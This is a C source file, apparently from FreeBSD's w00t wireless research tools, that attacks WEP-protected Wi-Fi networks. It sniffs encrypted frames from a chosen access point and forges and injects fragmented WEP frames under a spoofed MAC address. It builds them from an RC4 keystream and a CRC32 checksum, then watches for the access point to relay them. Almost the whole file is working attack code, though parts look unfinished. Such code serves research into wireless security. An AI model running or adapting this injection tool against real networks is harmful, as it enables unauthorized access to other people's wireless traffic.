1/*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 *    notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 *    notice, this list of conditions and the following disclaimer in the
12 *    documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 *
26 * $FreeBSD$
27 */
28#include <sys/time.h>
29#include <sys/types.h>
30#include <sys/socket.h>
31#include <sys/uio.h>
32#include <netinet/in.h>
33#include <arpa/inet.h>
34#include <netinet/in_systm.h>
35#include <netinet/ip.h>
36#include <string.h>
37#include <stdio.h>
38#include <stdlib.h>
39#include <unistd.h>
40#include <fcntl.h>
41#include <err.h>
42#include <assert.h>
43#include <zlib.h>
44#include "w00t.h"
45
46enum {
47	S_START = 0,
48	S_WAIT_RELAY,
49};
50
51struct queue {
52	struct ieee80211_frame *wh;
53	int len;
54
55	char *buf;
56	int live;
57	struct queue *next;
58};
59
60struct params {
61	int rx;
62	int tx;
63
64	int tap;
65
66	char mcast[5];
67	char mac[6];
68	char ap[6];
69
70	char prga[2048];
71	int prga_len;
72
73	int state;
74
75	struct queue *q;
76
77	char packet[2048];
78	int packet_len;
79	struct timeval last;
80
81	int seq;
82
83	unsigned char guess;
84};
85
86int wanted(struct params *p, struct ieee80211_frame *wh, int len)
87{
88	char *bssid, *sa;
89
90	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
91		bssid = wh->i_addr1;
92		sa = wh->i_addr2;
93	}
94	else {
95		bssid = wh->i_addr2;
96		sa = wh->i_addr3;
97	}
98
99	if (memcmp(bssid, p->ap, 6) != 0)
100		return 0;
101
102	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
103		printf("Got non WEP packet...\n");
104		return 0;
105	}
106
107	/* my own shit */
108	if (memcmp(p->mac, sa, 6) == 0)
109		return 0;
110
111	return 1;
112}
113
114void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
115{
116	struct queue *q = p->q;
117	int qlen = 0;
118	char *ret = NULL;
119	struct queue *last = NULL;
120
121	/* find a slot */
122	while (q) {
123		if (q->live)
124			qlen++;
125		else {
126			/* recycle */
127			ret = q->buf;
128			break;
129		}
130
131		last = q;
132		q = q->next;
133	}
134
135	/* need to create slot */
136	if (!q) {
137		q = (struct queue*) malloc(sizeof(*q));
138		if (!q)
139			err(1, "malloc()");
140		memset(q, 0, sizeof(*q));
141
142		/* insert */
143		if (!p->q)
144			p->q = q;
145		else {
146			assert(last);
147			last->next = q;
148		}
149	}
150
151	q->live = 1;
152	q->buf = *buf;
153	q->len = len;
154	q->wh = wh;
155
156	qlen++;
157
158	if (qlen > 5)
159		printf("Enque.  Size: %d\n", qlen);
160	*buf = ret;
161}
162
163void send_packet(struct params *p)
164{
165        int rc;
166
167        rc = inject(p->tx, p->packet, p->packet_len);
168        if (rc == -1)
169                err(1, "inject()");
170        if (rc != p->packet_len) {
171                printf("Wrote %d/%d\n", rc, p->packet_len);
172                exit(1);
173        }
174
175        if (gettimeofday(&p->last, NULL) == -1)
176                err(1, "gettimeofday()");
177}
178#include <openssl/rc4.h>
179void send_mcast(struct params *p, unsigned char x)
180{
181	struct ieee80211_frame *wh;
182	short *seq;
183	struct queue *q = p->q;
184	char *data, *ptr;
185	int len;
186	uLong crc = crc32(0L, Z_NULL, 0);
187	uLong *pcrc;
188	int i;
189	int need_frag = 0;
190	char payload[10] = "\xAA\xAA\x03\x00\x00\x00\x08\x06\x00\x00";
191
192	assert(q);
193
194	/* 802.11 */
195	memset(p->packet, 0, sizeof(p->packet));
196	wh = (struct ieee80211_frame*) p->packet;
197	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
198	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
199	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
200	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
201
202	wh->i_dur[0] = 0x69;
203
204	memcpy(wh->i_addr1, p->ap, 6);
205	memcpy(wh->i_addr2, p->mac, 6);
206	memcpy(wh->i_addr3, p->mcast, 5);
207	wh->i_addr3[5] = x;
208
209	seq = (short*) wh->i_seq;
210	*seq = seqfn(p->seq++, 0);
211
212	/* IV */
213	data = (char*) (wh+1);
214	ptr = (char*) (q->wh+1);
215	memcpy(data, ptr, 3);
216
217	if (p->prga_len == 0) {
218
219		RC4_KEY k;
220		unsigned char key[8];
221
222		memset(&key[3], 0x61, 5);
223		memcpy(key, (q->wh+1), 3);
224		p->prga_len = 128;
225
226		RC4_set_key(&k, 8, key);
227		memset(p->prga, 0, sizeof(p->prga));
228		RC4(&k, p->prga_len, p->prga, p->prga);
229
230
231#if 0
232		int ptl = q->len;
233		char *pt;
234
235		pt = known_pt(q->wh, &ptl);
236		ptr += 4;
237		p->prga_len = ptl;
238		for (i = 0; i < p->prga_len; i++)
239			p->prga[i] = ptr[i] ^ pt[i];
240#endif
241	}
242
243	/* data */
244	data += 4;
245	memcpy(data, payload, sizeof(payload));
246	p->prga_len = 12;
247	len = p->prga_len + 1 - 4;
248
249#if 1
250	if (len < sizeof(payload)) {
251		need_frag = len;
252		wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
253	}
254#endif
255
256	/* crc */
257	pcrc = (uLong*) (data+len);
258	*pcrc = crc32(crc, data, len);
259
260	/* wepify */
261	len += 4;
262	for (i = 0; i < (len); i++) {
263		assert( i <= p->prga_len);
264		data[i] ^= p->prga[i];
265	}
266//	data[i] ^= x;
267
268	len += sizeof(*wh);
269	p->packet_len = len + 4;
270	send_packet(p);
271
272	/* the data we sent is too fucking short */
273	if (need_frag) {
274		memset(data, 0, len);
275
276		/* 802.11 */
277		*seq = seqfn(p->seq-1, 1);
278		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
279
280		/* data */
281		len = sizeof(payload) - need_frag;
282		assert(len > 0 && len <= (p->prga_len - 4));
283		memcpy(data, &payload[need_frag], len);
284
285		/* crc */
286		crc = crc32(0L, Z_NULL, 0);
287		len = p->prga_len - 4;
288		pcrc = (uLong*) (data+len);
289		*pcrc = crc32(crc, data, len);
290
291		/* wepify */
292		len += 4;
293		for (i = 0; i < len; i++) {
294			assert( i < p->prga_len);
295			data[i] ^= p->prga[i];
296		}
297
298		len += sizeof(*wh) + 4;
299		p->packet_len = len;
300		send_packet(p);
301	}
302}
303
304void send_queue(struct params *p)
305{
306	struct queue *q = p->q;
307	int i;
308
309	assert(q);
310	assert(q->live);
311
312	for (i = 0; i < 5; i++) {
313		send_mcast(p, p->guess++);
314	}
315
316	p->state = S_WAIT_RELAY;
317}
318
319void got_mcast(struct params *p, struct ieee80211_frame *wh, int len)
320{
321	printf("ao\n");
322}
323
324void read_wifi(struct params *p)
325{
326	static char *buf = 0;
327	static int buflen = 4096;
328	struct ieee80211_frame *wh;
329	int rc;
330
331	if (!buf) {
332		buf = (char*) malloc(buflen);
333		if (!buf)
334			err(1, "malloc()");
335	}
336
337	rc = sniff(p->rx, buf, buflen);
338	if (rc == -1)
339		err(1, "sniff()");
340
341	wh = get_wifi(buf, &rc);
342	if (!wh)
343		return;
344
345	/* relayed macast */
346	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
347		       IEEE80211_FC0_SUBTYPE_DATA) &&
348	    (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
349	    (memcmp(wh->i_addr2, p->ap, 6) == 0) &&
350	    (memcmp(wh->i_addr1, p->mcast, 5) == 0) &&
351	    (memcmp(p->mac, wh->i_addr3, 6) == 0)) {
352		got_mcast(p, wh, rc);
353		return;
354	}
355
356	/* data */
357	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
358		       IEEE80211_FC0_SUBTYPE_DATA)) {
359		if (!wanted(p, wh, rc))
360			return;
361
362		enque(p, &buf, wh, rc);
363		if (p->state == S_START)
364			send_queue(p);
365		return;
366	}
367}
368
369void own(struct params *p)
370{
371	struct timeval tv;
372	struct timeval *to = NULL;
373	fd_set fds;
374	int tout = 10*1000;
375
376	if (p->state == S_WAIT_RELAY) {
377		int el;
378
379		/* check timeout */
380		if (gettimeofday(&tv, NULL) == -1)
381			err(1, "gettimeofday()");
382
383		el = elapsed(&p->last, &tv);
384
385		/* timeout */
386		if (el >= tout) {
387			if (p->q && p->q->live) {
388				send_queue(p);
389				el = 0;
390			} else {
391				p->state = S_START;
392				return;
393			}
394		}
395		el = tout - el;
396		tv.tv_sec = el/1000/1000;
397		tv.tv_usec = el - tv.tv_sec*1000*1000;
398		to = &tv;
399	}
400
401	FD_ZERO(&fds);
402	FD_SET(p->rx, &fds);
403
404	if (select(p->rx+1, &fds, NULL, NULL, to) == -1)
405		err(1, "select()");
406
407	if (FD_ISSET(p->rx, &fds))
408		read_wifi(p);
409}
410
411void usage(char *name)
412{
413	printf("Usage %s <opts>\n"
414	       "-h\thelp\n"
415	       "-b\t<bssid>\n"
416	       "-t\t<tap>\n"
417	       , name);
418	exit(1);
419}
420
421int main(int argc, char *argv[])
422{
423	struct params p;
424	char *iface = "wlan0";
425	char *tap = "tap0";
426	int ch;
427
428	memset(&p, 0, sizeof(p));
429	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
430	p.seq = getpid();
431	memcpy(p.mcast, "\x01\x00\x5e\x00\x00", 5);
432
433	while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
434		switch (ch) {
435		case 't':
436			tap = optarg;
437			break;
438
439		case 'b':
440			if (str2mac(p.ap, optarg) == -1) {
441				printf("Can't parse BSSID\n");
442				exit(1);
443			}
444			break;
445
446		case 'h':
447		default:
448			usage(argv[0]);
449			break;
450		}
451	}
452
453	if ((p.rx = open_rx(iface)) == -1)
454		err(1, "open_rx()");
455	if ((p.tx = open_tx(iface)) == -1)
456		err(1, "open_tx()");
457
458	if ((p.tap = open_tap(tap)) == -1)
459		err(1, "open_tap()");
460	if (set_iface_mac(tap, p.mac) == -1)
461		err(1, "set_iface_mac()");
462
463	p.state = S_START;
464	while (1)
465		own(&p);
466
467	exit(0);
468}
469